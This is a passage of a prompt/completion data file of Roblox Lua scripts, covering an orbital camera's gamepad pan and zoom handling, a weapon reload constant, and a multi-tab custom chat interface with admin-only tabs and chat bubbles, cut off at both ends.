currLookVector)\n\tlocal newLookVector = (CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)).lookVector\n\treturn newLookVector\nend\n\nfunction OrbitalCamera:GetGamepadPan(name, state, input)\n\tif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\tif self.r3ButtonDown or self.l3ButtonDown then\n\t\t-- R3 or L3 Thumbstick is depressed, right stick controls dolly in/out\n\t\t\tif (input.Position.Y > THUMBSTICK_DEADZONE) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 0.96\n\t\t\telseif (input.Position.Y < -THUMBSTICK_DEADZONE) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.04\n\t\t\telse\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.00\n\t\t\tend\n\t\telse\n\t\t\tif state == Enum.UserInputState.Cancel then\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tlocal inputVector = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\tif inputVector.magnitude > THUMBSTICK_DEADZONE then\n\t\t\t\tself.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\telse\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\tend\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction OrbitalCamera:DoGamepadZoom(name, state, input)\n\tif input.UserInputType == self.activeGamepad and (input.KeyCode == Enum.KeyCode.ButtonR3 or input.KeyCode == Enum.KeyCode.ButtonL3) then\n\t\tif (state == Enum.UserInputState.Begin) then\n\t\t\tself.r3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonR3\n\t\t\tself.l3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonL3\n\t\telseif (state == Enum.UserInputState.End) then\n\t\t\tif (input.KeyCode == Enum.KeyCode.ButtonR3) then\n\t\t\t\tself.r3ButtonDown = false\n\t\t\telseif (input.KeyCode == Enum.KeyCode.ButtonL3) then\n\t\t\t\tself.l3ButtonDown = false\n\t\t\tend\n\t\t\tif (not self.r3ButtonDown) and (not self.l3ButtonDown) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.00\n\t\t\tend\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction OrbitalCamera:BindGamepadInputActions()\n\tself:BindAction(\"OrbitalCamGamepadPan\", function(name, state, input) return self:GetGamepadPan(name, state, input) end,\n\t\tfalse, Enum.KeyCode.Thumbstick2)\n\tself:BindAction(\"OrbitalCamGamepadZoom\", function(name, state, input) return self:DoGamepadZoom(name, state, input) end,\n\t\tfalse, Enum.KeyCode.ButtonR3, Enum.KeyCode.ButtonL3)\nend\n\n"} +{"prompt": "-- Time it takes to reload weapon", "completion": "\nlocal ReloadTime = 4"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name\n--// Be sure to update the console gui's code if you change stuff", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\tlocal storedChats = client.Variables.StoredChats\n\tlocal desc = gui.Desc\n\tlocal nohide = data.KeepChat\n\t\n\tlocal function Expand(ent, point)\n\t\tent.MouseLeave:connect(function(x,y)\n\t\t\tpoint.Visible = false\n\t\tend)\n\t\t\n\t\tent.MouseMoved:connect(function(x,y)\n\t\t\tpoint.Text = ent.Desc.Value\n\t\t\tpoint.Size = UDim2.new(0, 10000, 0, 10000)\n\t\t\tlocal bounds = point.TextBounds.X\n\t\t\tlocal rows = math.floor(bounds/500)\n\t\t\trows = rows+1\n\t\t\tif rows<1 then rows = 1 end\n\t\t\tlocal newx = 500\n\t\t\tif bounds<500 then newx = bounds end\n\t\t\tpoint.Visible = true\n\t\t\tpoint.Size = UDim2.new(0, newx+10, 0, rows*20)\n\t\t\tpoint.Position = UDim2.new(0, x, 0, y-40-(rows*20))\n\t\tend)\n\tend\n\t\n\tlocal function UpdateChat()\n\t\tif gui then\n\t\t\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\t\t\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\t\t\tlocal localTab = gui.Drag.Frame.Frame.Local\n\t\t\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\t\t\tlocal crossTab = gui.Drag.Frame.Frame.Cross\n\t\t\t\n\t\t\tlocal entry = gui.Entry\n\t\t\tlocal tester = gui.BoundTest\n\t\t\t\n\t\t\tglobalTab:ClearAllChildren()\n\t\t\tteamTab:ClearAllChildren()\n\t\t\tlocalTab:ClearAllChildren()\n\t\t\tadminsTab:ClearAllChildren()\n\t\t\tcrossTab:ClearAllChildren()\n\t\t\t\n\t\t\tlocal globalNum = 0\n\t\t\tlocal teamNum = 0\n\t\t\tlocal localNum = 0\n\t\t\tlocal adminsNum = 0\n\t\t\tlocal crossNum = 0\n\t\t\tfor i,v in pairs(storedChats) do\n\t\t\t\tlocal clone = entry:Clone()\n\t\t\t\tclone.Message.Text = service.MaxLen(v.Message,100)\n\t\t\t\tclone.Desc.Value = v.Message\n\t\t\t\tExpand(clone,desc)\n\t\t\t\tif not string.match(v.Player, \"%S\") then\n\t\t\t\t\tclone.Nameb.Text = v.Player\n\t\t\t\telse\n\t\t\t\t\tclone.Nameb.Text = \"[\"..v.Player..\"]: \"\n\t\t\t\tend\n\t\t\t\tclone.Visible = true\n\t\t\t\tclone.Nameb.Font = \"SourceSansBold\"\n\t\t\t\t\n\t\t\t\tlocal color = v.Color or BrickColor.White()\n\t\t\t\tclone.Nameb.TextColor3 = color.Color\n\t\t\t\t\n\t\t\t\t\n\t\t\t\ttester.Text = \"[\"..v.Player..\"]: \"\n\t\t\t\tlocal naml = tester.TextBounds.X + 5\n\t\t\t\tif naml>100 then naml = 100 end\n\t\t\t\t\n\t\t\t\ttester.Text = v.Message\n\t\t\t\tlocal mesl = tester.TextBounds.X\n\t\t\t\t\n\t\t\t\tclone.Message.Position = UDim2.new(0,naml,0,0)\n\t\t\t\tclone.Message.Size = UDim2.new(1,-(naml+10),1,0)\n\t\t\t\tclone.Nameb.Size = UDim2.new(0,naml,0,20)\n\t\t\t\t\n\t\t\t\tclone.Visible = false\n\t\t\t\tclone.Parent = globalTab\n\t\t\t\t\n\t\t\t\tlocal rows = math.floor((mesl+naml)/clone.AbsoluteSize.X)\n\t\t\t\trows = rows + 1\n\t\t\t\tif rows<1 then rows = 1 end\n\t\t\t\tif rows>3 then rows = 3 end\n\t\t\t\t--rows = rows+1\n\t\t\t\t\n\t\t\t\tclone.Parent = nil\n\t\t\t\tclone.Visible = true\n\t\t\t\t\n\t\t\t\tclone.Size = UDim2.new(1,0,0,rows*20)\n\t\t\t\t\n\t\t\t\tif v.Private then\n\t\t\t\t\tclone.Nameb.TextColor3 = Color3.new(150/255, 57/255, 176/255)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif v.Mode==\"Global\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,globalNum*20)\n\t\t\t\t\tglobalNum = globalNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tglobalNum = globalNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = globalTab\n\t\t\t\telseif v.Mode==\"Team\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,teamNum*20)\n\t\t\t\t\tteamNum = teamNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tteamNum = teamNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = teamTab\n\t\t\t\telseif v.Mode==\"Local\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,localNum*20)\n\t\t\t\t\tlocalNum = localNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tlocalNum = localNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = localTab\n\t\t\t\telseif v.Mode==\"Admins\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,adminsNum*20)\n\t\t\t\t\tadminsNum = adminsNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tadminsNum = adminsNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = adminsTab\n\t\t\t\telseif v.Mode==\"Cross\" then\n\t\t\t\t\tclone.Position = UDim2.new(0,0,0,crossNum*20)\n\t\t\t\t\tcrossNum = crossNum + 1\n\t\t\t\t\tif rows>1 then\n\t\t\t\t\t\tcrossNum = crossNum + rows-1\n\t\t\t\t\tend\n\t\t\t\t\tclone.Parent = crossTab\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tglobalTab.CanvasSize = UDim2.new(0, 0, 0, ((globalNum)*20))\n\t\t\tteamTab.CanvasSize = UDim2.new(0, 0, 0, ((teamNum)*20))\n\t\t\tlocalTab.CanvasSize = UDim2.new(0, 0, 0, ((localNum)*20))\n\t\t\tadminsTab.CanvasSize = UDim2.new(0, 0, 0, ((adminsNum)*20))\n\t\t\tcrossTab.CanvasSize = UDim2.new(0, 0, 0, ((crossNum)*20))\n\t\t\t\n\t\t\tlocal glob = (((globalNum)*20) - globalTab.AbsoluteWindowSize.Y)\n\t\t\tlocal tea = (((teamNum)*20) - teamTab.AbsoluteWindowSize.Y)\n\t\t\tlocal loc = (((localNum)*20) - localTab.AbsoluteWindowSize.Y)\n\t\t\tlocal adm = (((adminsNum)*20) - adminsTab.AbsoluteWindowSize.Y)\n\t\t\tlocal cro = (((crossNum)*20) - crossTab.AbsoluteWindowSize.Y)\n\t\t\t\n\t\t\tif glob<0 then glob=0 end\n\t\t\tif tea<0 then tea=0 end\n\t\t\tif loc<0 then loc=0 end\n\t\t\tif adm<0 then adm=0 end\n\t\t\tif cro<0 then cro=0 end\n\t\t\t\n\t\t\tglobalTab.CanvasPosition =Vector2.new(0,glob)\n\t\t\tteamTab.CanvasPosition =Vector2.new(0,tea)\n\t\t\tlocalTab.CanvasPosition = Vector2.new(0,loc)\n\t\t\tadminsTab.CanvasPosition = Vector2.new(0,adm)\n\t\t\tcrossTab.CanvasPosition = Vector2.new(0,cro)\n\t\tend\t\n\tend\n\t\n\tif not storedChats then\n\t\tclient.Variables.StoredChats = {}\n\t\tstoredChats = client.Variables.StoredChats\n\tend\n\t\n\tgTable:Ready()\n\t\n\tlocal bubble = gui.Bubble\n\tlocal toggle = gui.Toggle\n\tlocal drag = gui.Drag\n\tlocal frame = gui.Drag.Frame\n\tlocal frame2 = gui.Drag.Frame.Frame\n\tlocal box = gui.Drag.Frame.Chat\n\t\n\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\tlocal localTab = gui.Drag.Frame.Frame.Local\n\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\tlocal crossTab = gui.Drag.Frame.Frame.Cross\n\t\n\tlocal global = gui.Drag.Frame.Global\n\tlocal team = gui.Drag.Frame.Team\n\tlocal localb = gui.Drag.Frame.Local\n\tlocal admins = gui.Drag.Frame.Admins\n\tlocal cross = gui.Drag.Frame.Cross\n\t\n\tlocal ChatScript,ChatMain,Chatted = service.Player.PlayerScripts:FindFirstChild(\"ChatScript\")\n\tif ChatScript then\n\t\tChatMain = ChatScript:FindFirstChild(\"ChatMain\")\n\t\tif ChatMain then\n\t\t\tChatted = require(ChatMain).MessagePosted\n\t\tend\n\tend\n\t\n\tif not nohide then\n\t\tclient.Variables.CustomChat = true\n\t\tclient.Variables.ChatEnabled = false\n\t\tservice.StarterGui:SetCoreGuiEnabled('Chat',false)\n\telse\n\t\tdrag.Position = UDim2.new(0,10,1,-180)\n\tend\n\t\n\tlocal dragger = gui.Drag.Frame.Dragger\n\tlocal fakeDrag = gui.Drag.Frame.FakeDragger\n\t\n\tlocal boxFocused = false\n\tlocal mode = \"Global\"\n\t\n\tlocal lastChat = 0\n\tlocal lastClick = 0\n\tlocal isAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\n\tif not isAdmin then\n\t\tadmins.BackgroundTransparency = 0.8\n\t\tadmins.TextTransparency = 0.8\n\t\tcross.BackgroundTransparency = 0.8\n\t\tcross.TextTransparency = 0.8\n\tend\n\t\n\tif client.UI.Get(\"HelpButton\") then\n\t\ttoggle.Position = UDim2.new(1, -(45+45),1, -45)\n\tend\n\t\n\tlocal function openGlobal()\n\t\tglobalTab.Visible = true\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tglobal.Text = \"Global\"\n\t\tmode = \"Global\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openTeam()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = true\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tteam.Text = \"Team\"\n\t\tmode = \"Team\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tadmins.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openLocal()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = true\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = false\n\t\t\n\t\tlocalb.Text = \"Local\"\n\t\tmode = \"Local\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0\n\t\tadmins.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openAdmins()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = true\n\t\tcrossTab.Visible = false\n\t\t\n\t\tadmins.Text = \"Admins\"\n\t\tmode = \"Admins\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0.5\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function openCross()\n\t\tglobalTab.Visible = false\n\t\tteamTab.Visible = false\n\t\tlocalTab.Visible = false\n\t\tadminsTab.Visible = false\n\t\tcrossTab.Visible = true\n\t\t\n\t\tcross.Text = \"Cross\"\n\t\tmode = \"Cross\"\n\t\t\n\t\tglobal.BackgroundTransparency = 0.5\n\t\tteam.BackgroundTransparency = 0.5\n\t\tlocalb.BackgroundTransparency = 0.5\n\t\tif isAdmin then\n\t\t\tadmins.BackgroundTransparency = 0.5\n\t\t\tadmins.TextTransparency = 0\n\t\t\tcross.BackgroundTransparency = 0\n\t\t\tcross.TextTransparency = 0\n\t\telse\n\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\tadmins.TextTransparency = 0.8\n\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\tcross.TextTransparency = 0.8\n\t\tend\n\tend\n\t\n\tlocal function fadeIn()\n\t\t--[[\n\t\tframe.BackgroundTransparency = 0.5\n\t\tframe2.BackgroundTransparency = 0.5\n\t\tbox.BackgroundTransparency = 0.5\n\t\tfor i=0.1,0.5,0.1 do\n\t\t\t--wait(0.1)\n\t\t\tframe.BackgroundTransparency = 0.5-i\n\t\t\tframe2.BackgroundTransparency = 0.5-i\n\t\t\tbox.BackgroundTransparency = 0.5-i\n\t\tend-- Disabled ]]\n\t\tframe.BackgroundTransparency = 0\n\t\tframe2.BackgroundTransparency = 0\n\t\tbox.BackgroundTransparency = 0\n\t\tfakeDrag.Visible = true\n\tend\n\t\n\tlocal function fadeOut()\n\t\t--[[\n\t\tframe.BackgroundTransparency = 0\n\t\tframe2.BackgroundTransparency = 0\n\t\tbox.BackgroundTransparency = 0\n\t\tfor i=0.1,0.5,0.1 do\n\t\t\t--wait(0.1)\n\t\t\tframe.BackgroundTransparency = i\n\t\t\tframe2.BackgroundTransparency = i\n\t\t\tbox.BackgroundTransparency = i\n\t\tend-- Disabled ]]\n\t\tframe.BackgroundTransparency = 0.7\n\t\tframe2.BackgroundTransparency = 1\n\t\tbox.BackgroundTransparency = 1\n\t\tfakeDrag.Visible = false\n\tend\n\t\n\tfadeOut()\n\t\n\tframe.MouseEnter:connect(function()\n\t\tfadeIn()\n\tend)\n\t\n\tframe.MouseLeave:connect(function()\n\t\tif not boxFocused then\n\t\t\tfadeOut()\n\t\tend\n\tend)\n\t\n\ttoggle.MouseButton1Click:connect(function()\n\t\tif drag.Visible then\n\t\t\tdrag.Visible = false\n\t\t\ttoggle.Image = \"rbxassetid://417301749\"--417285299\"\n\t\telse\n\t\t\tdrag.Visible = true\n\t\t\ttoggle.Image = \"rbxassetid://417301773\"--417285351\"\n\t\tend\n\tend)\n\t\n\tglobal.MouseButton1Click:connect(function()\n\t\topenGlobal()\n\tend)\n\t\n\tteam.MouseButton1Click:connect(function()\n\t\topenTeam()\n\tend)\n\t\n\tlocalb.MouseButton1Click:connect(function()\n\t\topenLocal()\n\tend)\n\t\n\tadmins.MouseButton1Click:connect(function()\n\t\tif isAdmin or tick() - lastClick>5 then\n\t\t\tisAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\t\tif isAdmin then\n\t\t\t\topenAdmins()\n\t\t\telse\n\t\t\t\tadmins.BackgroundTransparency = 0.8\n\t\t\t\tadmins.TextTransparency = 0.8\n\t\t\tend\n\t\t\tlastClick = tick()\n\t\tend\n\tend)\n\t\n\tcross.MouseButton1Click:connect(function()\n\t\tif isAdmin or tick() - lastClick>5 then\n\t\t\tisAdmin = client.Remote.Get(\"CheckAdmin\")\n\t\t\tif isAdmin then\n\t\t\t\topenCross()\n\t\t\telse\n\t\t\t\tcross.BackgroundTransparency = 0.8\n\t\t\t\tcross.TextTransparency = 0.8\n\t\t\tend\n\t\t\tlastClick = tick()\n\t\tend\n\tend)\n\t\n\tbox.FocusLost:connect(function(enterPressed)\n\t\tboxFocused = false\n\t\tif enterPressed and not client.Variables.Muted then\n\t\t\tif box.Text~='' and ((mode~=\"Cross\" and tick()-lastChat>=0.5) or (mode==\"Cross\" and tick()-lastChat>=10)) then\n\t\t\t\tif not client.Variables.Muted then\n\t\t\t\t\tclient.Remote.Send('ProcessCustomChat',box.Text,mode)\n\t\t\t\t\tlastChat = tick()\n\t\t\t\t\tif Chatted then\n\t\t\t\t\t\t--Chatted:fire(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif not ((mode~=\"Cross\" and tick()-lastChat>=0.5) or (mode==\"Cross\" and tick()-lastChat>=10)) then\n\t\t\t\tlocal tim\n\t\t\t\tif mode == \"Cross\" then\n\t\t\t\t\ttim = 10-(tick()-lastChat)\n\t\t\t\telse\n\t\t\t\t\ttim = 0.5-(tick()-lastChat)\n\t\t\t\tend\n\t\t\t\ttim = string.sub(tostring(tim),1,3)\n\t\t\t\tclient.Handlers.ChatHandler(\"SpamBot\",\"Sending too fast! Please wait \"..tostring(tim)..\" seconds.\",\"System\")\n\t\t\tend\n\t\t\tbox.Text = \"Click here or press the '/' key to chat\"\n\t\t\tfadeOut()\n\t\t\tif mode ~= \"Cross\" then\n\t\t\t\tlastChat = tick()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tbox.Focused:connect(function() \n\t\tboxFocused = true\n\t\tif box.Text==\"Click here or press the '/' key to chat\" then \n\t\t\tbox.Text = '' \n\t\tend \n\t\tfadeIn()\n\tend)\n\t\n\tif not nohide then\n\t\tservice.UserInputService.InputBegan:connect(function(InputObject)\n\t\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\t\t\tif not (textbox) and InputObject.UserInputType==Enum.UserInputType.Keyboard and InputObject.KeyCode == Enum.KeyCode.Slash then\n\t\t\t\tif box.Text==\"Click here or press the '/' key to chat\" then box.Text='' end\n\t\t\t\tbox:CaptureFocus()\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tlocal mouse=service.Players.LocalPlayer:GetMouse()\n\tlocal nx,ny=drag.AbsoluteSize.X,frame.AbsoluteSize.Y--450,200\n\tlocal dragging=false\n\tlocal defx,defy=nx,ny\n\tmouse.Move:connect(function(x,y) \n\t\tif dragging then\n\t\t\tnx=defx+(dragger.Position.X.Offset+20)\n\t\t\tny=defy+(dragger.Position.Y.Offset+20)\n\t\t\tif nx<260 then nx=260 end\n\t\t\tif ny<100 then ny=100 end\n\t\t\tframe.Size=UDim2.new(1, 0, 0, ny) \n\t\t\tdrag.Size=UDim2.new(0, nx, 0, 30) \n\t\tend\n\tend)\n\tdragger.DragBegin:connect(function(init)\n\t\tdragging=true\n\tend)\n\tdragger.DragStopped:connect(function(x,y)\n\t\tdragging=false\n\t\tdefx=nx\n\t\tdefy=ny\n\t\tdragger.Position=UDim2.new(1,-20,1,-20)\n\t\tUpdateChat()\n\tend)\n\t\n\tUpdateChat()\n\t\n\t--[[\n\tif not service.UserInputService.KeyboardEnabled then \n\t\twarn(\"User is on mobile :: CustomChat Disabled\") \n\t\tchatenabled = true\n\t\tdrag.Visible = false\n\t\tservice.StarterGui:SetCoreGuiEnabled('Chat',true)\n\tend\t\n\t--]]\n\t\n\tclient.Handlers.RemoveCustomChat = function()\n\t\tlocal chat=gui\n\t\tif chat then chat:Destroy() client.Variables.ChatEnabled = true service.StarterGui:SetCoreGuiEnabled('Chat',true) end\n\tend\n\t\n\tclient.Handlers.ChatHandler = function(plr, message, mode)\n\t\tif not message then return end\n\t\tif string.sub(message,1,2)=='/e' then return end\n\t\tif gui then\n\t\t\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\t\t\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\t\t\tlocal localTab = gui.Drag.Frame.Frame.Local\n\t\t\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\t\t\tlocal global = gui.Drag.Frame.Global\n\t\t\tlocal team = gui.Drag.Frame.Team\n\t\t\tlocal localb = gui.Drag.Frame.Local\n\t\t\tlocal admins = gui.Drag.Frame.Admins\n\t\t\tlocal entry = gui.Entry\n\t\t\tlocal bubble = gui.Bubble\n\t\t\tlocal tester = gui.BoundTest\n\t\t\t\n\t\t\tlocal num = 0\n\t\t\tlocal player\n\t\t\t\n\t\t\tif plr and type(plr) == \"userdata\" then\n\t\t\t\tplayer = plr\n\t\t\telse\n\t\t\t\tplayer = {Name = tostring(plr or \"System\"), TeamColor = BrickColor.White()}\n\t\t\tend\n\t\t\t\n\t\t\tif #message>150 then message = string.sub(message,1,150)..\"...\" end\n\t\t\t\n\t\t\tif mode then\n\t\t\t\tif mode==\"Private\" or mode==\"System\" then\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Global\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Team\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Local\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Admins\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Cross\",Private=true})\n\t\t\t\telse\n\t\t\t\t\tlocal plr = player.Name\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=plr,Message=message,Mode=mode})\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal plr = player.Name\n\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=plr,Message=message,Mode=\"Global\"})\n\t\t\tend\n\t\t\t\n\t\t\tif mode==\"Local\" then\n\t\t\t\tif not localTab.Visible then\n\t\t\t\t\tlocalb.Text = \"Local*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Team\" then\n\t\t\t\tif not teamTab.Visible then\n\t\t\t\t\tteam.Text = \"Team*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Admins\" then\n\t\t\t\tif not adminsTab.Visible then\n\t\t\t\t\tadmins.Text = \"Admins*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Cross\" then\n\t\t\t\tif not crossTab.Visible then\n\t\t\t\t\tcross.Text = \"Cross*\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif not globalTab.Visible then\n\t\t\t\t\tglobal.Text = \"Global*\"\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif #storedChats>=50 then\n\t\t\t\ttable.remove(storedChats,1)\n\t\t\tend\n\t\t\t\n\t\t\tUpdateChat()\n\t\t\t\n\t\t\tif not nohide then\n\t\t\t\tif player and type(player)==\"userdata\" then\n\t\t\t\t\tlocal char = player.Character\n\t\t\t\t\tlocal head = char:FindFirstChild(\"Head\")\n\t\t\t\t\t\n\t\t\t\t\tif head then\n\t\t\t\t\t\tlocal cont = service.LocalContainer():FindFirstChild(player.Name..\"Bubbles\")\n\t\t\t\t\t\tif not cont then\n\t\t\t\t\t\t\tcont = Instance.new(\"BillboardGui\",service.LocalContainer())\n\t\t\t\t\t\t\tcont.Name = player.Name..\"Bubbles\"\n\t\t\t\t\t\t\tcont.StudsOffset = Vector3.new(0,2,0)\n\t\t\t\t\t\t\tcont.SizeOffset = Vector2.new(0,0.5)\n\t\t\t\t\t\t\tcont.Size = UDim2.new(0,200,0,150)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcont.Adornee = head\n\t\t\t\t\n\t\t\t\t\t\tlocal clone = bubble:Clone()\n\t\t\t\t\t\tclone.TextLabel.Text = message\n\t\t\t\t\t\tclone.Parent = cont\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal xsize = clone.TextLabel.TextBounds.X+40\n\t\t\t\t\t\tif xsize>400 then xsize=400 end\n\t\t\t\t\t\tclone.Size = UDim2.new(0,xsize,0,50)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif #cont:children()>3 then\n\t\t\t\t\t\t\tcont:children()[1]:Destroy()\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor i,v in pairs(cont:children()) do\n\t\t\t\t\t\t\tlocal xsize = v.TextLabel.TextBounds.X+40\n\t\t\t\t\t\t\tif xsize>400 then xsize=400 end\n\t\t\t\t\t\t\tv.Position = UDim2.new(0.5,-xsize/2,1,-(math.abs((i-1)-#cont:children())*50))\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal cam = service.Workspace.CurrentCamera\n\t\t\t\t\t\tlocal char = player.Character\n\t\t\t\t\t\tlocal head = char:FindFirstChild(\"Head\")\n\t\t\t\t\t\tlocal label = clone.TextLabel\n\t\t\t\t\t\t\n\t\t\t\t\t\tRoutine(function() \n\t\t\t\t\t\t\trepeat \n\t\t\t\t\t\t\t\tif not head then break end\n\t\t\t\t\t\t\t\tlocal dist = (head.Position - cam.CoordinateFrame.p).magnitude\n\t\t\t\t\t\t\t\tif dist <= 50 then \n\t\t\t\t\t\t\t\t\tclone.Visible = true\n\t\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t\t\tclone.Visible = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\twait(0.1) \n\t\t\t\t\t\t\tuntil not clone.Parent or not clone or not head or not head.Parent or not char\n\t\t\t\t\t\tend)\n\t\t\t\t\t\t\n\t\t\t\t\t\twait(10)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif clone then clone:Destroy() 